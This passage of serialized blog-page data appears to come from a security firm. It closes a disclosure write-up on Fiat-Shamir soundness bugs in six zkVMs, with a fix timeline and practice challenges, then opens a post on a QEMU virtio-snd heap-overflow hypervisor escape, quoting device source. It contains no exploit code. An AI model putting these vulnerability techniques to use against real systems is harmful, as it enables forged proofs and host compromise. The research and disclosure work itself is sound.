",{"type":23,"tag":209,"props":122828,"children":122830},{"className":122829},[4076,4077],[122831],{"type":23,"tag":213,"props":122832,"children":122834},{"className":122833},[4082],[122835],{"type":23,"tag":213,"props":122836,"children":122838},{"className":122837,"ariaHidden":1710},[4087],[122839],{"type":23,"tag":213,"props":122840,"children":122842},{"className":122841},[4092],[122843,122847],{"type":23,"tag":213,"props":122844,"children":122846},{"className":122845,"style":110941},[4097],[],{"type":23,"tag":213,"props":122848,"children":122850},{"className":122849,"style":93100},[4103,21637],[122851],{"type":28,"value":93919},{"type":28,"value":122853},". Prover sends ",{"type":23,"tag":209,"props":122855,"children":122857},{"className":122856},[4076,4077],[122858],{"type":23,"tag":213,"props":122859,"children":122861},{"className":122860},[4082],[122862],{"type":23,"tag":213,"props":122863,"children":122865},{"className":122864,"ariaHidden":1710},[4087],[122866],{"type":23,"tag":213,"props":122867,"children":122869},{"className":122868},[4092],[122870,122874],{"type":23,"tag":213,"props":122871,"children":122873},{"className":122872,"style":21632},[4097],[],{"type":23,"tag":213,"props":122875,"children":122878},{"className":122876,"style":122877},[4103,21637],"margin-right:0.00773em;",[122879],{"type":28,"value":122880},"R",{"type":28,"value":122882},".\"",{"type":23,"tag":24,"props":122884,"children":122885},{},[122886,122888,122913,122915,122940],{"type":28,"value":122887},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":209,"props":122889,"children":122891},{"className":122890},[4076,4077],[122892],{"type":23,"tag":213,"props":122893,"children":122895},{"className":122894},[4082],[122896],{"type":23,"tag":213,"props":122897,"children":122899},{"className":122898,"ariaHidden":1710},[4087],[122900],{"type":23,"tag":213,"props":122901,"children":122903},{"className":122902},[4092],[122904,122908],{"type":23,"tag":213,"props":122905,"children":122907},{"className":122906,"style":21632},[4097],[],{"type":23,"tag":213,"props":122909,"children":122911},{"className":122910,"style":22169},[4103,21637],[122912],{"type":28,"value":116329},{"type":28,"value":122914}," before sampling ",{"type":23,"tag":209,"props":122916,"children":122918},{"className":122917},[4076,4077],[122919],{"type":23,"tag":213,"props":122920,"children":122922},{"className":122921},[4082],[122923],{"type":23,"tag":213,"props":122924,"children":122926},{"className":122925,"ariaHidden":1710},[4087],[122927],{"type":23,"tag":213,"props":122928,"children":122930},{"className":122929},[4092],[122931,122935],{"type":23,"tag":213,"props":122932,"children":122934},{"className":122933,"style":110941},[4097],[],{"type":23,"tag":213,"props":122936,"children":122938},{"className":122937,"style":93100},[4103,21637],[122939],{"type":28,"value":93919},{"type":28,"value":122941},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":122943,"children":122944},{},[122945],{"type":28,"value":122946},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":9693,"props":122948,"children":122950},{"id":122949},"the-hot-potato-problem",[122951],{"type":28,"value":122952},"The Hot Potato Problem",{"type":23,"tag":24,"props":122954,"children":122955},{},[122956],{"type":28,"value":122957},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":122959,"children":122960},{},[122961],{"type":23,"tag":4009,"props":122962,"children":122965},{"alt":122963,"src":122964},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":122967,"children":122968},{},[122969],{"type":28,"value":122970},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":9693,"props":122972,"children":122974},{"id":122973},"optimization-pressure",[122975],{"type":28,"value":122976},"Optimization Pressure",{"type":23,"tag":24,"props":122978,"children":122979},{},[122980],{"type":28,"value":122981},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":122983,"children":122984},{},[122985],{"type":28,"value":122986},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":9693,"props":122988,"children":122990},{"id":122989},"testing-doesnt-catch-adversarial-inputs",[122991],{"type":28,"value":122992},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":122994,"children":122995},{},[122996],{"type":28,"value":122997},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":18845,"props":122999,"children":123000},{},[],{"type":23,"tag":47,"props":123002,"children":123004},{"id":123003},"how-to-find-and-fix-these-bugs",[123005],{"type":28,"value":123006},"How to Find and Fix These Bugs",{"type":23,"tag":9693,"props":123008,"children":123010},{"id":123009},"prevention",[123011],{"type":28,"value":123012},"Prevention",{"type":23,"tag":24,"props":123014,"children":123015},{},[123016],{"type":28,"value":123017},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":123019,"children":123020},{},[123021],{"type":28,"value":123022},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":123024,"children":123025},{},[123026],{"type":28,"value":123027},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":123029,"children":123030},{},[123031],{"type":28,"value":123032},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":123034,"children":123035},{},[123036],{"type":28,"value":123037},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":18845,"props":123039,"children":123040},{},[],{"type":23,"tag":47,"props":123042,"children":123044},{"id":123043},"responsible-disclosure-timeline",[123045],{"type":28,"value":123046},"Responsible Disclosure Timeline",{"type":23,"tag":55797,"props":123048,"children":123049},{},[123050,123078],{"type":23,"tag":123051,"props":123052,"children":123053},"thead",{},[123054],{"type":23,"tag":123055,"props":123056,"children":123057},"tr",{},[123058,123063,123068,123073],{"type":23,"tag":123059,"props":123060,"children":123061},"th",{},[123062],{"type":28,"value":23256},{"type":23,"tag":123059,"props":123064,"children":123065},{},[123066],{"type":28,"value":123067},"Reported",{"type":23,"tag":123059,"props":123069,"children":123070},{},[123071],{"type":28,"value":123072},"Fixed",{"type":23,"tag":123059,"props":123074,"children":123075},{},[123076],{"type":28,"value":123077},"Response Time",{"type":23,"tag":123079,"props":123080,"children":123081},"tbody",{},[123082,123105,123126,123146,123168,123189],{"type":23,"tag":123055,"props":123083,"children":123084},{},[123085,123090,123095,123100],{"type":23,"tag":123086,"props":123087,"children":123088},"td",{},[123089],{"type":28,"value":107913},{"type":23,"tag":123086,"props":123091,"children":123092},{},[123093],{"type":28,"value":123094},"Sep 2025",{"type":23,"tag":123086,"props":123096,"children":123097},{},[123098],{"type":28,"value":123099},"Oct 3, 2025",{"type":23,"tag":123086,"props":123101,"children":123102},{},[123103],{"type":28,"value":123104},"\u003C1 week",{"type":23,"tag":123055,"props":123106,"children":123107},{},[123108,123112,123117,123122],{"type":23,"tag":123086,"props":123109,"children":123110},{},[123111],{"type":28,"value":107919},{"type":23,"tag":123086,"props":123113,"children":123114},{},[123115],{"type":28,"value":123116},"Oct 2025",{"type":23,"tag":123086,"props":123118,"children":123119},{},[123120],{"type":28,"value":123121},"Oct 24, 2025",{"type":23,"tag":123086,"props":123123,"children":123124},{},[123125],{"type":28,"value":123104},{"type":23,"tag":123055,"props":123127,"children":123128},{},[123129,123133,123137,123142],{"type":23,"tag":123086,"props":123130,"children":123131},{},[123132],{"type":28,"value":107925},{"type":23,"tag":123086,"props":123134,"children":123135},{},[123136],{"type":28,"value":123116},{"type":23,"tag":123086,"props":123138,"children":123139},{},[123140],{"type":28,"value":123141},"Oct 31, 2025",{"type":23,"tag":123086,"props":123143,"children":123144},{},[123145],{"type":28,"value":123104},{"type":23,"tag":123055,"props":123147,"children":123148},{},[123149,123153,123158,123163],{"type":23,"tag":123086,"props":123150,"children":123151},{},[123152],{"type":28,"value":107931},{"type":23,"tag":123086,"props":123154,"children":123155},{},[123156],{"type":28,"value":123157},"Nov 2025",{"type":23,"tag":123086,"props":123159,"children":123160},{},[123161],{"type":28,"value":123162},"Mar 5, 2026",{"type":23,"tag":123086,"props":123164,"children":123165},{},[123166],{"type":28,"value":123167},"~4 months",{"type":23,"tag":123055,"props":123169,"children":123170},{},[123171,123175,123180,123185],{"type":23,"tag":123086,"props":123172,"children":123173},{},[123174],{"type":28,"value":107943},{"type":23,"tag":123086,"props":123176,"children":123177},{},[123178],{"type":28,"value":123179},"Dec 2025",{"type":23,"tag":123086,"props":123181,"children":123182},{},[123183],{"type":28,"value":123184},"Dec 29, 2025",{"type":23,"tag":123086,"props":123186,"children":123187},{},[123188],{"type":28,"value":123104},{"type":23,"tag":123055,"props":123190,"children":123191},{},[123192,123196,123200,123205],{"type":23,"tag":123086,"props":123193,"children":123194},{},[123195],{"type":28,"value":107937},{"type":23,"tag":123086,"props":123197,"children":123198},{},[123199],{"type":28,"value":123157},{"type":23,"tag":123086,"props":123201,"children":123202},{},[123203],{"type":28,"value":123204},"Jan 21, 2026?",{"type":23,"tag":123086,"props":123206,"children":123207},{},[123208],{"type":28,"value":123209},"3 months",{"type":23,"tag":24,"props":123211,"children":123212},{},[123213],{"type":28,"value":123214},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":18845,"props":123216,"children":123217},{},[],{"type":23,"tag":47,"props":123219,"children":123221},{"id":123220},"challenges",[123222],{"type":28,"value":107956},{"type":23,"tag":24,"props":123224,"children":123225},{},[123226,123228],{"type":28,"value":123227},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":123229,"props":123230,"children":123231},"del",{},[123232],{"type":28,"value":123233},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":123235,"children":123236},{},[123237,123239,123292,123293,123549],{"type":28,"value":123238},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":209,"props":123240,"children":123242},{"className":123241},[4076,4077],[123243],{"type":23,"tag":213,"props":123244,"children":123246},{"className":123245},[4082],[123247],{"type":23,"tag":213,"props":123248,"children":123250},{"className":123249,"ariaHidden":1710},[4087],[123251],{"type":23,"tag":213,"props":123252,"children":123254},{"className":123253},[4092],[123255,123259,123264,123269,123273,123278,123283,123287],{"type":23,"tag":213,"props":123256,"children":123258},{"className":123257,"style":115155},[4097],[],{"type":23,"tag":213,"props":123260,"children":123262},{"className":123261},[4103,21637],[123263],{"type":28,"value":36},{"type":23,"tag":213,"props":123265,"children":123267},{"className":123266},[4216],[123268],{"type":28,"value":4219},{"type":23,"tag":213,"props":123270,"children":123272},{"className":123271,"style":4223},[4184],[],{"type":23,"tag":213,"props":123274,"children":123276},{"className":123275},[4103,21637],[123277],{"type":28,"value":3319},{"type":23,"tag":213,"props":123279,"children":123281},{"className":123280},[4216],[123282],{"type":28,"value":4219},{"type":23,"tag":213,"props":123284,"children":123286},{"className":123285,"style":4223},[4184],[],{"type":23,"tag":213,"props":123288,"children":123290},{"className":123289},[4103,21637],[123291],{"type":28,"value":3244},{"type":28,"value":109756},{"type":23,"tag":209,"props":123294,"children":123296},{"className":123295},[4076,4077],[123297],{"type":23,"tag":213,"props":123298,"children":123300},{"className":123299},[4082],[123301],{"type":23,"tag":213,"props":123302,"children":123304},{"className":123303,"ariaHidden":1710},[4087],[123305,123368,123430,123536],{"type":23,"tag":213,"props":123306,"children":123308},{"className":123307},[4092],[123309,123314,123355,123359,123364],{"type":23,"tag":213,"props":123310,"children":123313},{"className":123311,"style":123312},[4097],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":123315,"children":123317},{"className":123316},[4103],[123318,123323],{"type":23,"tag":213,"props":123319,"children":123321},{"className":123320},[4103,21637],[123322],{"type":28,"value":36},{"type":23,"tag":213,"props":123324,"children":123326},{"className":123325},[4120],[123327],{"type":23,"tag":213,"props":123328,"children":123330},{"className":123329},[4125],[123331],{"type":23,"tag":213,"props":123332,"children":123334},{"className":123333},[4130],[123335],{"type":23,"tag":213,"props":123336,"children":123338},{"className":123337,"style":4098},[4135],[123339],{"type":23,"tag":213,"props":123340,"children":123341},{"style":4139},[123342,123346],{"type":23,"tag":213,"props":123343,"children":123345},{"className":123344,"style":4145},[4144],[],{"type":23,"tag":213,"props":123347,"children":123349},{"className":123348},[4150,4151,4152,4153],[123350],{"type":23,"tag":213,"props":123351,"children":123353},{"className":123352},[4103,4153],[123354],{"type":28,"value":17346},{"type":23,"tag":213,"props":123356,"children":123358},{"className":123357,"style":4185},[4184],[],{"type":23,"tag":213,"props":123360,"children":123362},{"className":123361},[4190],[123363],{"type":28,"value":2703},{"type":23,"tag":213,"props":123365,"children":123367},{"className":123366,"style":4185},[4184],[],{"type":23,"tag":213,"props":123369,"children":123371},{"className":123370},[4092],[123372,123376,123417,123421,123426],{"type":23,"tag":213,"props":123373,"children":123375},{"className":123374,"style":4098},[4097],[],{"type":23,"tag":213,"props":123377,"children":123379},{"className":123378},[4103],[123380,123385],{"type":23,"tag":213,"props":123381,"children":123383},{"className":123382},[4103,21637],[123384],{"type":28,"value":3319},{"type":23,"tag":213,"props":123386,"children":123388},{"className":123387},[4120],[123389],{"type":23,"tag":213,"props":123390,"children":123392},{"className":123391},[4125],[123393],{"type":23,"tag":213,"props":123394,"children":123396},{"className":123395},[4130],[123397],{"type":23,"tag":213,"props":123398,"children":123400},{"className":123399,"style":4098},[4135],[123401],{"type":23,"tag":213,"props":123402,"children":123403},{"style":4139},[123404,123408],{"type":23,"tag":213,"props":123405,"children":123407},{"className":123406,"style":4145},[4144],[],{"type":23,"tag":213,"props":123409,"children":123411},{"className":123410},[4150,4151,4152,4153],[123412],{"type":23,"tag":213,"props":123413,"children":123415},{"className":123414},[4103,4153],[123416],{"type":28,"value":17346},{"type":23,"tag":213,"props":123418,"children":123420},{"className":123419,"style":4282},[4184],[],{"type":23,"tag":213,"props":123422,"children":123424},{"className":123423},[4287],[123425],{"type":28,"value":3190},{"type":23,"tag":213,"props":123427,"children":123429},{"className":123428,"style":4282},[4184],[],{"type":23,"tag":213,"props":123431,"children":123433},{"className":123432},[4092],[123434,123439,123480,123485,123489,123494,123499,123503,123508,123513,123517,123522,123526,123532],{"type":23,"tag":213,"props":123435,"children":123438},{"className":123436,"style":123437},[4097],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":123440,"children":123442},{"className":123441},[4103],[123443,123448],{"type":23,"tag":213,"props":123444,"children":123446},{"className":123445},[4103,21637],[123447],{"type":28,"value":3244},{"type":23,"tag":213,"props":123449,"children":123451},{"className":123450},[4120],[123452],{"type":23,"tag":213,"props":123453,"children":123455},{"className":123454},[4125],[123456],{"type":23,"tag":213,"props":123457,"children":123459},{"className":123458},[4130],[123460],{"type":23,"tag":213,"props":123461,"children":123463},{"className":123462,"style":4098},[4135],[123464],{"type":23,"tag":213,"props":123465,"children":123466},{"style":4139},[123467,123471],{"type":23,"tag":213,"props":123468,"children":123470},{"className":123469,"style":4145},[4144],[],{"type":23,"tag":213,"props":123472,"children":123474},{"className":123473},[4150,4151,4152,4153],[123475],{"type":23,"tag":213,"props":123476,"children":123478},{"className":123477},[4103,4153],[123479],{"type":28,"value":17346},{"type":23,"tag":213,"props":123481,"children":123483},{"className":123482},[4216],[123484],{"type":28,"value":4219},{"type":23,"tag":213,"props":123486,"children":123488},{"className":123487,"style":4223},[4184],[],{"type":23,"tag":213,"props":123490,"children":123492},{"className":123491},[4103,21637],[123493],{"type":28,"value":36},{"type":23,"tag":213,"props":123495,"children":123497},{"className":123496},[4216],[123498],{"type":28,"value":4219},{"type":23,"tag":213,"props":123500,"children":123502},{"className":123501,"style":4223},[4184],[],{"type":23,"tag":213,"props":123504,"children":123506},{"className":123505},[4103,21637],[123507],{"type":28,"value":3319},{"type":23,"tag":213,"props":123509,"children":123511},{"className":123510},[4216],[123512],{"type":28,"value":4219},{"type":23,"tag":213,"props":123514,"children":123516},{"className":123515,"style":4223},[4184],[],{"type":23,"tag":213,"props":123518,"children":123520},{"className":123519},[4103,21637],[123521],{"type":28,"value":3244},{"type":23,"tag":213,"props":123523,"children":123525},{"className":123524,"style":4282},[4184],[],{"type":23,"tag":213,"props":123527,"children":123529},{"className":123528},[4287],[123530],{"type":28,"value":123531},"≥",{"type":23,"tag":213,"props":123533,"children":123535},{"className":123534,"style":4282},[4184],[],{"type":23,"tag":213,"props":123537,"children":123539},{"className":123538},[4092],[123540,123544],{"type":23,"tag":213,"props":123541,"children":123543},{"className":123542,"style":94131},[4097],[],{"type":23,"tag":213,"props":123545,"children":123547},{"className":123546},[4103],[123548],{"type":28,"value":4106},{"type":28,"value":123550},". Good luck!",{"type":23,"tag":9693,"props":123552,"children":123554},{"id":123553},"jolt",[123555],{"type":28,"value":107913},{"type":23,"tag":24,"props":123557,"children":123558},{},[123559,123561,123572,123574],{"type":28,"value":123560},"See ",{"type":23,"tag":36,"props":123562,"children":123569},{"href":123563,"target":123564,"rel":123565,"download":123568},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123566,123567],"noopener","noreferrer","handout_jolt.tar.gz",[123570],{"type":28,"value":123571},"the handout",{"type":28,"value":123573}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":209,"props":123575,"children":123577},{"className":123576},[],[123578],{"type":28,"value":123579},"jolt.chal.osec.io:8960",{"type":23,"tag":9693,"props":123581,"children":123583},{"id":123582},"nexus-1",[123584],{"type":28,"value":107919},{"type":23,"tag":24,"props":123586,"children":123587},{},[123588,123589,123596,123597],{"type":28,"value":123560},{"type":23,"tag":36,"props":123590,"children":123594},{"href":123591,"target":123564,"rel":123592,"download":123593},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123566,123567],"handout_nexus.tar.gz",[123595],{"type":28,"value":123571},{"type":28,"value":123573},{"type":23,"tag":209,"props":123598,"children":123600},{"className":123599},[],[123601],{"type":28,"value":123602},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":123604,"children":123605},{},[123606],{"type":28,"value":123607},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":18845,"props":123609,"children":123610},{},[],{"type":23,"tag":47,"props":123612,"children":123614},{"id":123613},"takeaways",[123615],{"type":28,"value":123616},"Takeaways",{"type":23,"tag":24,"props":123618,"children":123619},{},[123620],{"type":28,"value":123621},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":123623,"children":123624},{},[123625],{"type":28,"value":123626},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":123628,"children":123629},{},[123630,123635],{"type":23,"tag":95,"props":123631,"children":123632},{},[123633],{"type":28,"value":123634},"For the ZK ecosystem:",{"type":28,"value":123636}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":123638,"children":123639},{},[123640],{"type":28,"value":123641},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":123643,"children":123644},{},[123645,123650],{"type":23,"tag":95,"props":123646,"children":123647},{},[123648],{"type":28,"value":123649},"For auditors:",{"type":28,"value":123651}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":123653,"children":123654},{},[123655,123660],{"type":23,"tag":95,"props":123656,"children":123657},{},[123658],{"type":28,"value":123659},"For builders:",{"type":28,"value":123661}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":2957,"props":123663,"children":123664},{},[123665],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":123667},[123668,123669,123672,123678,123679,123687,123693,123696,123697,123701],{"id":107964,"depth":226,"text":107967},{"id":108106,"depth":226,"text":108109,"children":123670},[123671],{"id":108112,"depth":524,"text":108115},{"id":108541,"depth":226,"text":108544,"children":123673},[123674,123675,123676,123677],{"id":108552,"depth":524,"text":108555},{"id":108740,"depth":524,"text":108743},{"id":112121,"depth":524,"text":112124},{"id":113335,"depth":524,"text":113338},{"id":114972,"depth":226,"text":114975},{"id":115478,"depth":226,"text":115481,"children":123680},[123681,123682,123683,123684,123685,123686],{"id":115500,"depth":524,"text":115503},{"id":116825,"depth":524,"text":107919},{"id":117961,"depth":524,"text":117964},{"id":118629,"depth":524,"text":118632},{"id":121285,"depth":524,"text":121288},{"id":121839,"depth":524,"text":107943},{"id":122768,"depth":226,"text":122771,"children":123688},[123689,123690,123691,123692],{"id":122779,"depth":524,"text":122782},{"id":122949,"depth":524,"text":122952},{"id":122973,"depth":524,"text":122976},{"id":122989,"depth":524,"text":122992},{"id":123003,"depth":226,"text":123006,"children":123694},[123695],{"id":123009,"depth":524,"text":123012},{"id":123043,"depth":226,"text":123046},{"id":123220,"depth":226,"text":107956,"children":123698},[123699,123700],{"id":123553,"depth":524,"text":107913},{"id":123582,"depth":524,"text":107919},{"id":123613,"depth":226,"text":123616},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":123706,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":123707,"description":123708,"date":123709,"author":123710,"image":123711,"isFeatured":18,"onBlogPage":18,"tags":123713,"body":123716,"_type":2967,"_id":132002,"_source":2969,"_file":132003,"_stem":132004,"_extension":2972},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":123712,"width":97321,"height":13703},"/posts/virtio-snd-qemu-0day/title.png",[123714,123715],"qemu","heap-overflow",{"type":20,"children":123717,"toc":131984},[123718,123723,123728,123733,123739,123744,123749,123757,123763,123775,123779,123784,123792,123797,123803,123808,123821,124431,124466,124511,124545,124580,124715,124763,124769,124774,125530,125575,125611,125646,125711,125731,126181,126228,126231,126236,126301,126327,126349,126353,126358,126363,126369,126374,126379,126384,126390,126403,126409,126414,126422,126492,126497,126503,126516,126742,126805,126824,127207,127212,127245,127250,127526,127538,127556,127835,127847,127850,127885,127890,127896,127908,127920,127925,127930,127940,127975,128592,128624,128635,128671,128684,128690,128702,128710,128736,128741,128774,128815,128821,128840,128878,128886,128935,128940,128989,128994,129002,129089,129095,129134,129146,129154,129172,129191,129199,129211,129219,129238,129246,129257,129265,129276,129284,129297,129305,129311,129316,129329,129337,129355,129363,129375,129380,129388,129424,129457,129464,129498,129506,129511,129517,129529,129540,129819,129879,129947,129955,129989,130593,130604,130612,130618,130623,130634,131388,131421,131433,131519,131539,131748,131795,131807,131813,131832,131858,131886,131902,131929,131932,131952,131966,131970,131975,131980],{"type":23,"tag":24,"props":123719,"children":123720},{},[123721],{"type":28,"value":123722},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":47,"props":123724,"children":123725},{"id":123714},[123726],{"type":28,"value":123727},"QEMU",{"type":23,"tag":24,"props":123729,"children":123730},{},[123731],{"type":28,"value":123732},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":9693,"props":123734,"children":123736},{"id":123735},"virtio-devices",[123737],{"type":28,"value":123738},"Virtio Devices",{"type":23,"tag":24,"props":123740,"children":123741},{},[123742],{"type":28,"value":123743},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":123745,"children":123746},{},[123747],{"type":28,"value":123748},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":123750,"children":123751},{},[123752],{"type":23,"tag":4009,"props":123753,"children":123756},{"alt":123754,"src":123755},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":47,"props":123758,"children":123760},{"id":123759},"finding-a-bug",[123761],{"type":28,"value":123762},"Finding a Bug",{"type":23,"tag":24,"props":123764,"children":123765},{},[123766,123768,123774],{"type":28,"value":123767},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":209,"props":123769,"children":123771},{"className":123770},[],[123772],{"type":28,"value":123773},"virtio-snd",{"type":28,"value":124},{"type":23,"tag":9693,"props":123776,"children":123777},{"id":123773},[123778],{"type":28,"value":123773},{"type":23,"tag":24,"props":123780,"children":123781},{},[123782],{"type":28,"value":123783},"From the official documentation:",{"type":23,"tag":3036,"props":123785,"children":123786},{},[123787],{"type":23,"tag":24,"props":123788,"children":123789},{},[123790],{"type":28,"value":123791},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":123793,"children":123794},{},[123795],{"type":28,"value":123796},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":18945,"props":123798,"children":123800},{"id":123799},"audio-data-buffers",[123801],{"type":28,"value":123802},"Audio Data Buffers",{"type":23,"tag":24,"props":123804,"children":123805},{},[123806],{"type":28,"value":123807},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":123809,"children":123810},{},[123811,123813,123819],{"type":28,"value":123812},"For example, the following is ",{"type":23,"tag":209,"props":123814,"children":123816},{"className":123815},[],[123817],{"type":28,"value":123818},"virtio_snd_handle_rx_xfer",{"type":28,"value":123820},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":202,"props":123822,"children":123824},{"code":123823,"language":3244,"meta":7,"className":16566,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[123825],{"type":23,"tag":209,"props":123826,"children":123827},{"__ignoreMap":7},[123828,123835,123843,123851,123858,123866,123874,123882,123930,123937,123954,123961,123968,123980,123997,124004,124040,124060,124071,124078,124085,124093,124100,124133,124192,124210,124249,124274,124298,124326,124353,124391,124398,124410,124417,124424],{"type":23,"tag":213,"props":123829,"children":123830},{"class":215,"line":216},[123831],{"type":23,"tag":213,"props":123832,"children":123833},{"style":537},[123834],{"type":28,"value":49418},{"type":23,"tag":213,"props":123836,"children":123837},{"class":215,"line":226},[123838],{"type":23,"tag":213,"props":123839,"children":123840},{"style":537},[123841],{"type":28,"value":123842}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":213,"props":123844,"children":123845},{"class":215,"line":524},[123846],{"type":23,"tag":213,"props":123847,"children":123848},{"style":537},[123849],{"type":28,"value":123850}," * respective streams for consumption.\n",{"type":23,"tag":213,"props":123852,"children":123853},{"class":215,"line":533},[123854],{"type":23,"tag":213,"props":123855,"children":123856},{"style":537},[123857],{"type":28,"value":19542},{"type":23,"tag":213,"props":123859,"children":123860},{"class":215,"line":543},[123861],{"type":23,"tag":213,"props":123862,"children":123863},{"style":537},[123864],{"type":28,"value":123865}," * @vdev: VirtIOSound device\n",{"type":23,"tag":213,"props":123867,"children":123868},{"class":215,"line":551},[123869],{"type":23,"tag":213,"props":123870,"children":123871},{"style":537},[123872],{"type":28,"value":123873}," * @vq: rx virtqueue\n",{"type":23,"tag":213,"props":123875,"children":123876},{"class":215,"line":570},[123877],{"type":23,"tag":213,"props":123878,"children":123879},{"style":537},[123880],{"type":28,"value":123881}," 